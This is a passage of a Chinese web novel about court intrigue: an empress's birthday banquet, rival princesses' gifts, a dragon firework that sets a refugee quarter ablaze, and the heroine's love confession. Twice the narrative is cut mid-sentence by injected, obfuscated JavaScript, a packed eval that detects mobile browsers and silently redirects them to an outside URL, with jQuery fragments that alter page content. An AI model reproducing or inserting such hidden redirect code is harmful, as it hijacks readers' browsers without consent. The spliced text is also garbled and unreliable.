“陛下到——”殿外的叟叟扯了嗓子喊。 她不再多言,跟随众人行礼。 “陛下万岁万万岁。” “臣等恭祝陛下圣体康泰,国运昌隆。” 言武帝落座,抬起手:“平身。” “谢陛下。”众人回到自己的位置,随着言武帝落座。 言武帝说了些场面话,接着,言昭离站了出来,她是长女,要第一个送生辰礼:“母皇,这是儿臣送的生辰礼。” 她的怀中抱着一个盒子,那盒子有一臂高,瞧着重量也不轻,她却稳稳当当的抱在怀里。 她打开盒子,里面是一尊佛像,全身是用青玉打制的,佛像阖目,面上一片宁祥,光是看着,便让人不自觉的心里宁静下来。 “玉山佛?!”底下有人惊呼,“不会是我想的那个玉山佛吧?” “看着像是,庆武王竟有如此本事,将如此遗落之物找到。” 在场也有不识货的:“这不就是一个普通的玉佛吗?怎么都如此惊讶。” “哎,这你可就不懂了吧,这玉山佛,是前朝香山寺的僧人亲手打造的,日日夜夜供奉着,将这佛像供奉的有了灵性,可惜香山寺生了一场大火,吞噬了一切,寺中供奉的玉山佛从那以后也下落不明。” 香山寺是前朝大热的寺庙,闻名程度远胜于当时只是小寺庙的青山寺,后来发生祸端,也就逐渐落寞,青山寺则在闻人住持来之后变得闻名起来。 “母皇,这是玉山佛,且已被闻人住持供奉过。” 玉山佛的名头出来已经够让众人惊讶,一听到闻人住持供奉过,面上的惊讶更甚。 言武帝目光炽热:“闻人住持供奉过?” “是,儿臣在青山寺上,意外结识了闻人住持。” 言武帝信佛,且在皇女期间意外得到了闻人住持的预言,躲避了一场祸事,不然今日登位的也不会是她,自那以后,她对闻人住持颇为敬崇。 言武帝面上难掩笑容:“甚好,甚好,甚好。”她一连说了三个甚好,足以可见言昭离送的礼物多合她的心意。 言昭离才落座,旁边就凑过来一张脸:“皇姐送的这般好,可把皇妹们都比了下去。” “礼物不在贵重,只在心意,皇妹,皇姐觉得你的礼物也甚好。” 言落依撇嘴:“皇姐都没看过,怎么知道我的礼物甚好。” “你摸摸你的嘴,你说我怎么知道的。” 言落依讪笑,她这次的礼物,甚是新奇,是一座石雕,雕的是龙,可与普通石雕不一样的是,这龙的眼珠子会动,只要抚摸龙爪,龙的眼珠子便会转溜。 这是她特地从民间艺术里面得来的灵感,然后命人制作,长达三个月,最终成功制成,完成的那天,她过于激动,嚷嚷的全京城都知道了。 言落依送完后,便是言时,言笛梵…… 言笛梵将亲手写上的经文呈上,这经文耗费了她几月的心血,但凡错一处,哪怕是已经快完成了,她也全部撕掉重写,十几次的重写,写出来这完美的经文。她的字在众皇女中是最好的,飘逸大气,洋洋洒洒的写在帛书上,让人看着赏心悦目。 “母皇,这是儿臣为您抄写的《如佛经》,愿母皇万寿无疆,福寿齐天。” 言武帝颔首:“不错,笛梵有心了。” 言笛梵回了位置,面上带笑,实际手心的肉都被指甲掐出了深深的印,再用力些,恐会流血。 她愤愤的想,凭什么,她与言昭离同样送了母皇喜爱之物,为什么言昭离能得到母皇的三句甚好,她却只能得到一句不错,母皇,竟如此偏颇。 言柳坐落在言笛梵的侧边,她送完礼后,落座时,瞥了她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703599|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,低头掩笑:“真是有趣。” 苏青在身后不解:“殿下,怎么了?” “你不觉得那些表面不一的人甚是有趣吗?明明心里都快要嫉妒的疯了,可面上依然维持那副微笑的模样。” 苏青福至心灵,她记得刚才言柳朝旁边的一瞥,且表面不一的人,指向性甚是明显,宫中除了四皇女,谁能有她善于伪装。 “大皇姐和四皇姐送的礼物都是有关于佛的,这相似的礼物,自然而然就有了比较,四皇姐抄写《如佛经》是孤本,价值程度不比玉山佛低,但大皇姐送的,有闻人住持的供奉,那自是谁人送的礼都比不上的。” “四皇姐想要讨母皇的欢心,是远远不够的。” 各位皇子皇女送完礼后,便是大臣送礼,但只有从二品以上的官员才可在大殿上献礼,其余以下的官员,直接登记簿册,送入库房。 送完礼后,大殿内歌舞升平,气氛一派融合,言柳端着酒杯,行至言昭离的身后:“皇姐,我敬您。” 言昭离起身,将酒杯里的酒一饮而尽,待言昭离喝后,言柳开口:“皇姐,我有件事求您。” “什么事?皇姐要是能帮上忙,一定会帮。” “我想向皇姐讨要一个人。” “是我府上的人?” “是。” 言昭离瞧了眼身后的柱子,她面露难色:“皇妹已经有了婚约,这……” “皇姐这是想到了哪去?”言柳诚恳道,“我想要的这人,并不是收来做妾的,只是上次宴席,我觉得他很合我眼缘,想要他做我的侍从。” “那如此,本王也就放心了,本王要是真在皇妹未成亲前往皇妹房中送人,那本王在世人眼中成什么人了,本王才不做那恶人,也不做棒打鸳鸯的事。” “皇妹要何人?” “无名。” 听到这个名字,柱子身后的身影几乎快站不住,心脏像被针扎了一样的疼痛,六皇女是真想让那无名做侍从还是看上了他?上次无名带路,一路上,六皇女都在与那无名交谈,他感受到了冷落,可又不好开口,只能内心戚戚。这次……这次……竟直接想把那无名带回府内。 言昭离:“皇妹要的这人,本王得回去问问,如果他愿意,本王自是成全,可……” “皇妹明白。”言柳再次敬酒,“多谢皇姐。” 等她走后,言昭离特意往柱子那看了一眼,已经没人,恐怕在听到无名那个名字后边已离开。 “哎,虐的剧情又要开始了。”言昭离叹了一口气,“可惜不能不推动剧情。” 无名最为原书里面的最佳男配,没少为男女主的感情道路上添砖加瓦,也是虐心剧情的主要提供者,男主霍承起,自小父母不在身边,性格内敛,不善于情绪表达,即使心里再难过,吃醋女主和旁人走的过于近,也不会说出来,只会黯然神伤,最后醒悟一点,毅然决然离开,女主也踏上了追夫之路。 言昭离端起酒杯,想再喝一口,眼帘中映入一道骨节分明的手,祁逾白将她拦了下来。 他道:“不可多喝。” 言昭离瞪他:“这酒度数不高。”宴席上的酒酸酸甜甜,在她的印象里,这种酒一般都度数不高。 祁逾白:“度数高,喝完后劲会很大。” 言昭离半信半疑:“真的?” “嗯。”其实不然,这酒的度数确实不高,只是祁逾白觉得,她还是滴酒不沾最好。 40. 第 40 章 一场宴席,言笛梵几乎从未放心过,她一双眸子,满是紧张的情绪,言时嗤笑她:“言笛梵,你胆子怎么越来越小,谁会胆大到在母皇的生辰宴上动手。” “我不是胆小,而是谨慎,父君犯了错,我已经不得母皇的待见,如若此事没办好,母皇……” 言时:“是你多想了,父君犯错,并没有牵扯到我们在母皇心中的地位。” 言笛梵没吭声,她是不会跟这个天真的哥哥再说些什么的,他的地位或许没有改变,因为他是言国唯一的皇子,而她只是众多皇女中的一个,想要那个位置,需得出类拔萃。 直至宴席即将到尾声,言时说:“看吧,我就说没有事情发生吧。” 言笛梵的嘴角扯出一抹笑:“这我也放心了。”她目光瞥向某处,面色一变,“不对,皇姐呢?” 各位皇子女们都坐落在一处,此时,第一个位置却是空的,殿上人来人往,如果不是特意留意的话,是发现不了。 言时张望:“大皇姐吗?” “去了哪里?是何时离开的,走的时候可跟了旁人。” 言时手指自己:“言笛梵,你在问我吗?你问错了人吧,我一直都待在此处,也没注意过旁人。” 言笛梵知道他靠不住,自然不是问他的,身后的苏青接话:“殿下,庆武王离席不到半炷香,只带了个祁侧夫,除此之外,再无人跟着,奴派人跟着,去的是御花园,看了良久,也没有任何异常的举动。” “且庆武王的侍从也一直在这大殿内带着未动过,大概庆武王只是去跟祁侧夫谈情说爱了。” 言笛梵:“不能掉以轻心,继续盯着。” “是。” 言笛梵刚叮嘱完,手下的侍从来报:“殿下,到时间了。”言武帝每年的生辰宴都会有一个传统,亥时会在天空放烟花,放完烟花后,这场宴席也便告下帷幕。 “一切都准备好了?” “再三确认,没有任何问题,殿下放心。”言笛梵露出如释重负的笑容,马上就能圆满完成此次任务,母皇也会对她另眼相待。 她起身,高声对言武帝说:“母皇,儿臣特地准备了烟花为母皇庆贺,请母皇移驾殿外。” 言落依插嘴:“听说皇妹为了此次的烟花准备良久,寻了众多的能人巧匠,为的就是打造别出心裁的烟花。” “皇姐谬赞了,不过是普通的烟花罢了。” 言柳笑道:“皇姐这便谦虚了,我也听说,皇姐这次准备的烟花格外不一样,皇妹很期待看到它绽放的那一刹那。” 听到两个女儿都这么说,言武帝面上带了些期待:“这烟花真如此特别,那朕定要好好瞧瞧。” 言武帝从高位上走了下来,众人跟着言武帝一齐到了殿外,等待着烟花绽放。 时辰到了,一簇烟火苗‘噌’的一下飞上了天空,紧接着剩下的烟花像是雨落湖面一样,在天空泛起了阵阵涟漪,五颜六色的烟花,布满了半边天空。 言武帝在看到漫天烟花时,眼里划过一丝失望,这不就普通的放烟花么,这种烟花,年年放,每年放的都一样,一点新意都没有。 等到最后一个烟花放完,被照亮的天空转向黑幕,言武帝的面上都无一丝笑容,她转身:“走吧。” “母皇,等等。”言笛梵出声,“烟花还没放完。” 她话落的同时,黑漆漆天空再次被点亮,比刚才不一样的是,升起的烟火苗一点点放大,直至遮盖半天,随着烟火苗变大,有人惊呼出声:“快看,那是……那是龙。” “龙?!” “对,是龙,一条栩栩如生的火龙,是用烟火制成的。” “如此独出心裁,如此特别的烟花,值得终生铭记。” 言武帝也在众人的一片惊呼声中转身,这一转身,便被震撼在原地,久久不能反应过来。 龙到底存不存在世上,没人能够给出答案,可此刻,让人不得不恍惚,盘踞半边天的火龙,就像是一条真龙,有龙吟,有龙息,视力好些,甚至能看到龙鳞。 火龙在天上游荡,神情倨傲的像是在巡视自己的领地,巡视完后,它仰天长啸,接着,冲向了下方,消散于世间。 言笛梵半跪在地,无比尊敬道:“斯须九重真龙出,一洗万古凡马空,儿臣认为母皇跟这龙一样,是万民的祥瑞和福气。” “好好好。”言武帝龙颜大悦,赞赏的看了她一眼,“不愧是朕的四皇女,真给朕带来了诸多的惊喜,朕一定要好好嘉赏你。” “让朕想想嘉赏些什么好些呢?” 言时适时出声:“母皇,皇姐为这次的生辰宴付出众多,尤其是最后一场烟火,皇姐来来回回的检查,为的就是给母皇的这场惊喜能万无一失,您看,皇姐最近都消瘦了不少……” “言时,”言笛梵制止他,“不要再说了,这都是作为我应该为母皇做的。” “母皇,皇姐还亲自上手试验这烟火,胳膊上被烫出不少的伤口。” 言武帝一脸动容,搀扶起言笛梵:“好孩子,你费心了,母皇很高兴能看到这场烟火。” 她转头向着春秋吩咐:“春秋,朕记得库房中是不是有一块先帝赐给朕的墨宝。” “是。” 言武帝拍了拍她的手背:“朕记得你最是喜欢这些,还有一幅山居之士的水墨图,一并赏赐给四皇女。” “如此恐怕还不够,朕想想,还有些什么?” 言笛梵:“母皇,这些已经够多了,儿臣很喜欢。” “再把太医院新制的药膏拿给你,这么好看的手臂,万不可留疤了。” 言笛眼里蓄满笑意:“儿臣谢过母皇。”这是为数不多的时刻,母皇能如此关心她。 她漆黑的眼眸划过一旁空出来的位置,心里遗憾的想着,真是可惜,言昭离竟不在此,看不到她如此耀眼的一幕,以往都是笼罩在她的光辉下,如今终于摆脱了。 “陛下,不好了,陛下,出事了。”一宫人惊慌失恐的来报信,春秋斥道,“陛下面前,不得如此失态。” “何事如此慌张?”言武帝沉声问道。 那宫人喊道,“陛下,城西失火。”他又看了言笛梵一眼,犹豫后开口,“是刚才的火龙导致的。” 众人皆惊,不由得看向言笛梵,背对着她们,看不清神色,可能感受到她全身已经僵硬在原地。 谁人不知,住在城西的是北方旱灾逃来的流民,那里人多,一旦发生火灾,恐怕死伤无数,且是刚才的火龙到这这场祸端,四皇女将火龙比作言武帝,现在看来,不就是在说言武帝来到此间,就是带来灾难的。 大厦即倾,四皇女的灾祸,也要来了。 * 刚出了殿中,言昭离就带着祁逾白来到了御花园,这里平日里也甚是热闹,此刻却显得过分寂静。 “祁逾白,你不等我。”言昭离控诉,原本两人是并肩而行,可走着走着,祁逾白就超过了她,如今两人的距离有一米。 祁逾白转身:“是你走的太慢了。” “你平日里都会等着我的。”祁逾白没说话,言昭离快步走到他面前,探头,“你生气了?” 祁逾白的眼中倒映着她的身影,离得太近了,他侧头,手握拳抵在嘴边,轻咳一声:“没有。” “还说没有。”言昭离撇嘴,“你平常生气都是这个样子的,我在你身边好几年,你瞒不过我。” 祁逾白生气时,便会这样面无表情,不熟悉他的人,看他这幅模样,也猜不到他生气,可言昭离知道,他生气时,右侧嘴角会不自觉的下撇。 见他没反驳,言昭离摇头晃脑,甚至还在原地转了个圈:“让我猜猜,你是因为什么生气?在殿内,还没有生气,那就是,来到这生气的。” “我知道了,”她踮起脚尖,往他面前凑,“你是因为我喝酒了,生气的。” “是不是?”两人的距离比刚才还近,他的任何一丝神情都被对方纳入眼底。 “是。”瞒不了,他索性直接承认,“我只是一会不在你身边,为什么还是喝了那么多酒。” “你不要凶我。” 祁逾白无奈:“我没凶你。” 言昭离凶巴巴道:“你就是在凶我,每次我做错了事,你都会这样,不是在凶我是什么?” 言昭离的记忆停留在她初到他身边的时候,作为一个步入职场还没满一年的新人,她有时确实是毛手毛脚的,做错了事,祁逾白会板着脸训斥她。 言昭离的声音低了下去:“你每次凶我,我都好怕,你要是把我辞了怎么办,而且听说你经常辞退别人,动不动就辞退。”她呜呜道,“我再也不会找到这么一个高薪的工作了,找不到,我就没钱了,没钱很可怕的……” “你不会被辞退的。”祁逾白肯定道,初到他身边,能顶得住他给的压力,不断学习,一步步往上爬,言昭离本来就是一个很厉害的人。 言昭离‘嘿嘿’两声:“我也这么觉得,公司如果辞退我,那肯定是公司的损失。” “嗯,是公司的损失,也是我的损失。”他说到最后,几乎没声。 即使是离得近,言昭离也听不清他在说些什么:“你刚才说什么?” 祁逾白没回她:“为什么还是喝了那么多酒?”话题又回到最初。 言昭离眼神不自觉的瞥向别处,扯开话题失败,她只能老老实实答道:“喝酒方便。” “方便什么?” “老板,你知道有一句话,怎么说来着,喝酒壮胆。” 祁逾白锐利的目光扫向她:“你要说什么话?”他问的犀利,可眼底却藏了几分说不清的情绪,是对未知的恐惧,他不知道言昭离即将说些什么,万一是瞒了他什么事,万一是不想回去了,再万一,万一她喜欢上了别人……那他怎么办? 他脑中的思绪乱乱的,尽管理智告诉他言昭离不会这样的,可他的心却忍不住乱想。 言昭离环顾了四周,感觉手上空空的,她迅速从身后的花圃中摘下娇艳的鲜花,她摘的飞速,并没有看清这花是什么品种,只觉得好看便摘了。 言昭离双手握花,面色紧绷,显得非常郑重:“祁逾白,我 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“没有没有,”言昭离摆手,只是话越说越心虚,对祁逾白的感情没发生变质前,她确实把祁逾白当成长辈看待,在工作中,祁逾白给人的压迫感太强,言昭离自觉把自己放在小辈的位置上,爱他敬他,这份工作才能干的长久。 祁逾白伸手:“我收下你对我的感谢。” “花还不能给你,我还没说完。”言昭离捏紧花枝,在心里组织语言,向老板告白这件事,她以前想到不敢想,现在就要实践了,心里不紧张是不可能的,为此在来之前,背着祁逾白喝了不少的酒。 “祁逾白,刚才的话是我作为下属最想说的,接下来,是我本人想说的,进入这个世界,很意外,也很措不及防,因为一些原因,我们逐渐了解彼此……”她说话声被天空的烟花绽放声掩盖,最后,她也不铺垫了,直接干脆利落道,“祁逾白,我喜欢你。” 烟花一个接一个绽放,祁逾白似是没听清:“嗯?” 言昭离刚鼓起的勇气散掉了,有些气馁:“没听清算了。”这是她的第一次告白,对方竟然没听到,她埋怨的看了祁逾白一眼,都怪他耳朵不好。 言昭离把花递给他,祁逾白接过,问道:“现在清醒吗?” 言昭离虽然不知道他为什么突然问这个,还是老实回道:“很清醒,我现在无比清醒。” 祁逾白垂下眼眸:“那就好,从现在开始,你说的每一句话,第二日不许以喝醉了的理由而反悔,我不会给你这个机会。” 言昭离的脑子还很懵,就听他继续说道:“告白这件事,还是我来比较好。” 言昭离惊愕的看向他:“你不是没听见?” “没听见,但隐隐约约的猜到你要说什么。”那四个字,他无数次排练,几次想要说出口,却因为内心的胆怯而放弃,所以,即使没听见,凭唇形,他也知道言昭离说的什么。 听到她说出那句话,祁逾白的心脏几乎要跳出胸膛,这种感觉,是任何极限运动都带不来的,那时那刻,他确定,心脏只为言昭离跳跃。 祁逾白握住鲜花,言昭离手握的位置上还留有她的余温,他拿着,像是握住她的手:“言昭离,我喜欢你。” “你愿意跟我在一起吗?” 言昭离想要矜持几秒再回答,可祁逾白炙热的目光看向自己的刹那,她只想不管不顾的答应。 “我答应你。”她才答应几秒,就后悔了,这答应的也太快了,不行,她得端起架子:“不过,我要你答应我几件事。” “第一,不许凶我。” “第二,不许管我喝酒。” “第三,我还没想好,回头补充。” “我答应,不过,我也有条件。” “什么条件?” 漫天烟火绽放,两人的距离在不断靠近,夜色暗沉下,言昭离看见祁逾白清晰的下颌线条,往上,沉静黝黑的眼瞳里翻滚着欲望,说不清,道不明。 言昭离莫名感觉口干舌燥,脸上也一片火热,事情还未发生,但她感觉已经发生了千百遍。 “喝酒也行,”祁逾白慢悠悠说道,“你喝多少,我亲你多久。” “这个怎么评判……唔……” 他俯身向前,浅浅的吻着她,后由浅入深,攻略池地,连手里的花掉了都毫无知觉。 祁逾白吻的轻柔,可动作间又透着一股霸道的劲,他抬手抵住她的后脑勺,不容许她有一丝一毫的退缩,吻的久了,言昭离有些喘不过来气,她轻推祁逾白,结果,没控制好力道,把祁逾白推的一个趔趄,被迫中断,祁逾白有些怔愣。 言昭离一脸懊悔:“对不起,忘记了我的力气比你大。” 祁逾白轻擦她嘴上的水泽,无奈笑道:“是我该说抱歉,下次,我尽量把控好时间。”尽量,他说的不绝对,因为他无法保证,沉沦进去,是否能脱身。 远处,传来一阵嘈杂声,御花园里宴席的距离不远,那边的风吹草动都能传至这边,言昭离主动拉起祁逾白的手:“走吧,我们回去吧,那边估计发生了什么大事。” “好。”重返来时路,两人的关系发生了变化,两颗心,也越靠越近。 41. 第 41 章 “将来龙去脉说清,越详细越好。” 报信的侍从低着头:“城西那块地,住的都是北方的流民,人口众多,再加上天气炎热,甚是干燥,刚才的火龙,最后消失的地方,正是城西,因此,导致了这场祸端……” 那人嘴唇翕动,明显还要说些什么,可碍于场上有她恐惧的存在,正犹豫着要不要开口。 “还有什么事,说。”言武帝看出她的欲言又止。 在场的的人,即使权利再大,官位再高,也大不过言国的最高统治者,报信的人想明白这点,随后鼓足勇气道:“城西发生火灾后,本是要第一时间上报,可不知怎的,被拦了下来,祸事不能不处理,奴只能铤而走险,自作主张的来传信。” 背后阻拦的人几乎不用思考便可以确认了身份,这件事对谁越不利,那人便越想瞒下来。 “春秋,去派人处理此事,记住,一定要把火灭了,且将损失降低的越小越好。” “是。”她退了下去。 殿内,乌泱泱的站了一片人,言武帝行至高位,压抑着怒火,一场好好的生辰宴,她差点成为了导致百姓痛不欲生的祸端,载入史册,都是要被后人唾骂的程度。 言时:“母皇,此事绝对不是皇妹做的,定是有人想栽赃皇妹,还请母皇还皇妹一个公道。”他话一出,不少人都忍不住在心里嘲笑,三皇子是怎么在这深宫中长大的,这性子,真是单纯的过头——愚蠢,这件事,无论是不是四皇女做的,还是有人栽赃陷害的,四皇女都必须承受这次的怒火。 言笛梵心里也在暗骂,言时怎会蠢到如此,刚才放烟花时,言时诉说她的辛苦,她没有阻拦半分,是想要在言武帝面前邀功,而现在她恨不得把言时的嘴巴捂上,越说越错,心里这么想的,可她面上并不显,甚至还表现出几分感动。 她跪在殿中心,没有半分退缩:“儿臣认罪,是儿臣没有提前排查好此次祸患。”现在的情况,她主动认罪,平息母皇的怒火,才是最好的结果。 ‘砰’的一声,言笛梵在冰凉的地板上重重一磕,她的力道不轻,额头上瞬间红肿起来,她连嗑三头,额头上鲜血直流,光看着,便觉得疼痛。 言武帝脸上阴云遍布,她拾起桌上的酒杯,就朝言笛梵的脚边砸去:“成事不足败事有余的东西。” “母皇息怒。”看够了好戏的言落依站了出来,“城西的流民是儿臣负责的,出了事,儿臣也脱不了干系,不过,儿臣在今晚之前,便已经把城西的流民转至安全地域。” “当真?” “儿臣所说,不会有假。” 言武帝满腔怒火化为喜悦,眉眼间都带着喜气:“好好好,不愧是朕的二皇女,此事你有功,朕定会好好嘉奖。” 言落依拘手:“儿臣不敢当,真正有功的,是皇姐。” “哦?此事还与庆武王有关?” “皇姐是傍晚入京的,恰巧马车经过城西,看到那里人员众多,担心会失火,便向儿臣提议转至别处。” “庆武王在何处?” 刚步入大殿之内的言昭离回道:“母皇,儿臣在此。” “你和落依避免了一场祸事,朕定要大大嘉赏,传朕口谕,各赏庆武王和二皇女黄金千两,绸缎百匹……” “四皇女办事不利,收回之前的赏赐,罚俸一年,在府上禁闭三个月。” 三人同时接旨,两升一贬,众人的心中不免得有了比较。 等到宴席散去,言落依还拉着言昭离说话:“皇姐,谢谢你,这次幸亏有你帮我,不然我也少不了被责罚。” “不过是误打误撞的帮了你。” 言昭离的马车是傍晚进城,当时的天边一望无际,唯一的光亮也被黑暗吞噬,唯有遍地的火把带来光亮,城西那块空地,住的都是流民,人口嘈杂且拥挤,几乎是一家一个草棚子,有的甚至是两家共用一个草棚子。 “王爷,咱们快些进城吧,马上要误了良时了。”翠鸣劝道,她不明白自家王爷怎么突然要把马车停在这离,这里拥挤闷热,连一块下脚的地方都没有,是京城里的贵人不会也不愿踏足的地。 “再等等。” 祁逾白问:“可是看出什么来了?” “你不觉得这里过于干燥了吗?只要一簇小火苗,便可以将这里的一切燃成灰烬,且没有任何逃生的可能。”城西的这块地上,只有两个通道口,一旦发生火灾,人们会不顾一切的逃生,可这里的人实在太多了,必会发生踩踏事件……到那时,能不能活下三分之一的人都难说。 “既然实在担心,便去做,无论会不会发生。” “好。”言昭离一开始犹豫的便是,这万一只是她的杞人忧天,可现在有了旁人的鼓励,她做事也便有了几分底气。 “翠鸣,去二皇女那。” 言落依负责的便是城西的流民,她近日一直都住在附近,为的就是更好的处理流民的问题,分配粮食,处理矛盾纠纷等等,忙的也是焦头烂额。 言昭离一来便表明了此意,言落依毫不犹豫的答应,快到言昭离都楞住了:“这么快就答应了?要是搬离这里,可不是一件轻松的事,且你这都已经安置的差不多了。” “我答应的这么快,除了相信皇姐外,还有一个原因,是我不相信人心,不敢赌有人能把这里的人当人。” “事实证明,我赌对了,真的有人视众生为蝼蚁,只为得到自己想要的一切。”言落依面上带了哀愁。 “如此愁眉苦脸,不想是我认识的皇妹。” 言落依收起哀愁,又换回往日里嬉皮笑脸的模样:“人总是要变的,皇姐的变化也很大,皇妹甚至都不能把如今的皇姐跟以前的皇姐相联系。” 听出她的试探,言昭离笑道:“皇妹说的对,人总是要变的,你看,快下雨了,我们要一直待在这块地上讲话,保不齐要被雨淋到。” 两人说话的地方正好没有遮挡物,乌云密布,空气中,已有了潮湿的气息,正如言昭离所说的,快要下雨了。 “皇姐说的是,快要下雨了,皇妹就不拉着皇姐聊天了,我先走了。” “好。”告别后,言昭离盯着她离去的背影,若有所思,言落依突然的试探,是为何。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737316|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “皇姐。”身后响起了一道声音,是言落依。 言昭离不再想,转过身,脸上堆起了笑,与人虚情假意的,好累:“皇妹唤我何事?” “我是来恭喜皇姐的,再次得到母皇的青睐,顺便想请教皇姐,是如何拥有预事的本领的。”她虽是恭喜,可面上的僵硬,脸上的细微表情,都出卖了她,她应是相当恨她的。 言昭离有时也喜欢看旁人的违心表现,明明对她很不爽,可偏偏,又干不掉她,还要眼睁睁的看着她一步步往上爬,就比如公司的一些恶臭男,能力比不上她,就在背地里造她的黄谣,她无意与他们争端,安心做自己的事,步步前行,最后成为他们的顶头上司,在工作中报复回来,有人不服。 言昭离也只会笑着道:“怎么?有时间造黄谣,没时间完成工作。” “能不能干,不能干就滚人。” 看着对方跟吃了苍蝇一样的脸,言昭离得了不少的趣味。 如今,她的恶趣味还在:“预事倒谈不上,只是比蠢人多想了点。” 言笛梵温和的笑容差点维持不住,言昭离,这是在骂她蠢吗? “本王听说皇妹对此次宴席付出挺多,方方面面都想到了,可偏偏,却在烟火上出了差错,”言昭离直截了当道:“不,你不是没想到烟火上会出错,你只是没想到会这样出错,你从来没把那些流民的性命放在眼里。” “所以,你该为此付出代价,导致这场祸事的人也该为此付出代价。” 言笛梵:“可笑,难道这些不是你做的吗?提前规划了这次祸事,又提前转移了流民,你做这些,除了陷害我,就是为了向母皇邀功。”说到最后,她有点破音。 “你不是早就从跟踪本王的人那里得到了答案吗?现在,你只是需要一个人转移怒火,本王,恕不奉陪。” 言昭离走的果断,徒留言笛梵一人在那茫然,经过言昭离的冷水浇灌,她的脑子也清醒了几分。 言昭离所说不假,她的心里,确实有了答案,一个月内,要想在烟火上下手,必须得时时刻刻了解她的动态,言昭离在青山寺上待了一个月,山高水远,言落依接手城西的流民,很少踏足京城,只有一个人,一直待在京城。 她的眼睛眯了起来,趁还没到禁闭的时候,她要去确定一件事。 夏雨频发,天边淅淅沥沥的下着小雨,言昭离说完话,正好钻进祁逾白刚撑起来的伞。 “说完了?” “嗯,我们回家。” “好。”祁逾白顺势捞起她的手,十指相扣,给自己找理由,“下雨了,离得近些,不会被淋到。” 金时看着手里的伞:“祁侧夫,这——” 翠鸣捣了捣他:“你要做什么?” “给祁侧夫递伞啊,王爷和祁侧夫打一把伞,多多少少都会淋点,不如打两把伞了。” 翠鸣敲了他的头:“你个榆木脑袋,难怪还没嫁给妻主,两人共乘一把伞,那是情趣。” 金时挠了挠头,还是颇为不解:“是这样吗?”可他看来,下雨天,还是撑两把伞好。 42. 第 42 章 “殿下,需要备些姜汤吗?奴看祁侧夫淋了点雨。” “备些吧,等祁逾白沐浴好后便让他喝了。” “是。” 祁逾白与言昭离共乘一把伞,全程言昭离未淋得一点雨,祁逾白倒是淋了不少,刚到府上便去沐浴了。 言昭离想起一件事,叫住正要离开的翠鸣:“等等,把无名喊来,我有事要问他。” “是。”翠鸣退了下去,关上门的刹那与探着头的金时对上视线,“你不去伺候祁侧夫沐浴,在这干什么呢?” “祁侧夫说这雨甚是寒凉,担心殿下在回来的路上淋了雨,特地让奴来看看殿下如何。” “殿下和祁侧夫还真是心意相通,殿下无事,还吩咐我备些姜汤。” “正好你来了,等姜汤好后端给祁侧夫,我手头上还有另一件事要办。” “好的,翠鸣姐姐。” 言昭离念着无名终究会离开府上,因此只安排了些杂活,侍看花园里的花草,这活并不重,甚至有时甚为悠闲,但无名对此看重,每日悉心照料花草,下雨天怕淋着了,出大太阳时又怕晒得太狠,总之,很上心。 刚出花园,无名的手指就无意识攥紧衣袖,他心里甚是紧张,殿下怎么会突然有事找他?可是他最近犯了什么事,还是他的差事没办好。 脑中思绪乱飞,他试探问道:“翠鸣姐姐,殿下找我是何事?”想从翠鸣那里得到什么答案。 翠鸣的嘴一向严:“我也不知道,殿下只说有事。” 看无名过于紧张,她安慰了无名一番:“你放心,殿下找你估计也不是什么大事。” “姐姐如此说,那我便安心了。” 走到书房外,翠鸣先敲了屋门:“殿下,人已经到了。” 屋内传来一道沉稳的声音:“进。” 是言昭离,也是庆武王的声音。 无名深吸了一口气,拍了拍衣服上不存在的灰尘,他整日混迹在泥潭里,怕脏了言昭离的书房。 无名进去后根本不敢抬头看:“奴拜见王爷。” “嗯,起来吧。”言昭离用茶盏拂了拂茶杯中的茶,“近日花园里的花草如何。” 无名松了口气:“花草一切照旧,另外,奴最近研究了不少新品种,这些新品种也甚是好看。”他试探问道:“王爷什么时候能赏光看看奴新栽的花,保管不让王爷失望。” “嗯,你辛苦了,本王得空便回去。” “不辛苦不辛苦,能让王爷高兴,奴便觉得这些新栽的花也值了。” 言昭离放下茶杯,悠悠叹了口气:“本王知道你的过往,读过四书五经,拥有一手好字,甚至文章也写得不错,要是去考个文官也是绰绰有余,可现在当一个小小的花匠实在是埋没了。” 无名的眼神有片刻黯淡,当文官,是江温州的期望,不该是他的,他现在右腿残疾,光是参选的条件就不合格,更遑论写文章,他的手,因为新伤旧伤的累积,也早已快握不住笔。 一握,便颤抖个不止,写出来的字也歪七扭八的不成样子,连三岁儿童都不如,除非用银针扎手上的穴位,才能换来片刻的安稳。 黯淡转瞬即逝,他的目光重新变得炯炯有神:“奴并不怎么觉得,当初的梦想离现在太遥远,奴更想把握现在。” 言昭离忍不住鼓掌:“说的好。” “不过,当真不会惋惜吗?本王现在给你一个新出路,本王的皇妹,六皇女,十分青睐你,今日向本王讨要你,她答应过本王,以后定不会让你的才华被埋没。” 王爷是疑心他与六皇女的关系,毕竟一仆二主,是大忌啊,这个念头从脑中一闪而过,接着,‘噗通’一声,他已经跪下了。 “奴发誓,奴没有跟六皇女有任何的联系,唯一的联系,还是在庆王宴上,奴为六皇女带路,一路上,奴没跟六皇女说过几句话,实在不知六皇女怎么看上奴了……”他一连说了一大串,迫切想要验证自己的清白。 “本王相信你,也不疑心你与皇妹的关系。” “那王爷是不想留下奴吗?可是奴做错了什么事?” 